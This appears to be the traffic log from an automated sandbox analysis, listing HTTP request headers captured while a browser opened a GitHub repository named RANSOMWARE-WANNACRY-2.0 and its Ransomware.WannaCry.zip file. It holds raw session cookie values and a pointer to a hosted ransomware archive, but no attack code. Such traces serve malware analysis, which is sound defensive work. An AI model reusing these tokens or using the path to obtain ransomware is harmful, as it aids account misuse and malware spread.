Source: global traffic	HTTP traffic detected: GET /assets/ui_packages_react-core_register-app_ts-3208e4c5b7c1.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/ui_packages_paths_index_ts-ea3e1b2a33c6.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/ui_packages_ref-selector_RefSelector_tsx-dbbdef4348e2.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/ui_packages_commit-attribution_index_ts-ui_packages_commit-checks-status_index_ts-ui_packages-a73d65-239b92c64d22.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/app_assets_modules_react-shared_hooks_use-canonical-object_ts-ui_packages_code-view-shared_ho-3e492a-f8db4e5bb6ca.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/app_assets_modules_github_blob-anchor_ts-app_assets_modules_github_filter-sort_ts-app_assets_-e50ab6-fd8396d2490b.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/react-code-view-c04a0c63417c.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_react_lib-esm_Button_IconButton_js-node_modules_primer_react_lib--23bcad-01764c79fa41.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/keyboard-shortcuts-dialog-20a011926f27.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-11f6759e1cef.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/sessions-694c8423e347.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/chunk-app_components_primer_experimental_toggle-switch-element_ts-7c5e7b04edd6.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/chunk-vendors-node_modules_github_hydro-analytics-client_dist_analytics-client_js-node_modules_gith-ffadee0-5cdb6954f6de.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/chunk-app_components_search_custom-scopes-element_ts-f5230254d82b.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/chunk-vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_delegated-events_dist_in-f11236-50158068cc10.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/chunk-app_assets_modules_github_jump-to_ts-2641544048b8.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/chunk-app_assets_modules_github_onfocus_ts-app_assets_modules_github_visible_ts-app_components_sear-d461c8-a5ca34673a12.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/chunk-ui_packages_cookie-consent-element_cookie-consent-element_ts-6c210391e8f0.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0 HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: text/html, application/xhtml+xmlTurbo-Frame: repo-content-turbo-framesec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /assets/chunk-ui_packages_cookie-consent-link-element_cookie-consent-link-element_ts-80fd8ee00406.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/ui_packages_query-builder-element_query-builder-element_ts-5fadb36426c7.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/chunk-ui_packages_trusted-types-policies_policy_ts-ui_packages_trusted-types_trusted-types_ts-node_-38f8f1-5c4d940a245a.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/refs?type=branch HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/latest-commit/master/Ransomware.WannaCry.zip HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: application/jsonX-Requested-With: XMLHttpRequestGitHub-Verified-Fetch: truesec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/deferred-metadata/master/Ransomware.WannaCry.zip HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: application/jsonX-Requested-With: XMLHttpRequestGitHub-Verified-Fetch: truesec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /assets/chunk-ui_packages_webauthn-get-element_webauthn-get-element_ts-57f9943adb92.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/chunk-vendors-node_modules_consent-banner_dist_consent-banner_js-7ef3071b711c.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /u/19915931?v=4&size=40 HTTP/1.1Host: avatars.githubusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/refs?type=branch HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurichIf-None-Match: W/"8472f0ac1bd0bdea4efec9eccc6c7961"
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/refs?type=branch HTTP/1.1Host: github.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; _octo=GH1.1.1358786087.1711205240; logged_in=no; preferred_color_mode=light; tz=Europe%2FZurich
Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/latest-commit/master/Ransomware.WannaCry.zip HTTP/1.1Host: github.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gh_sess=Nh9kyBmEE4ZRM3VGYju9KXV5%2Bst%2FyNrmAKbX9XCtLw1boKgTs3auGGqaIH2vBFV5j3AApO%2B1ujV8H4DwCd63S09sYgnwqfIDP4bDBt0oD0D5NRasrQlv1x%2FTwFt3XLSyC6gMF2JYJzrL%2FJJghpMTpYJdsF7ey87SZHLgIArUwuB1VP7xgtzq0eOdKVJrPdKofZjFHialVn%2FYoFOn56rsHoYl04bCkg4Dch7DkCNR2AIkFD6d3919E%2BqyHufe5p93xu4JnFLMiu6pSmtVVvBTWQ%3D%3D--Si1lecK3LCVxv8U%2F--b%2B%2B%2BNLjOSr%2FJwqbiryqGZA%3D%3D; 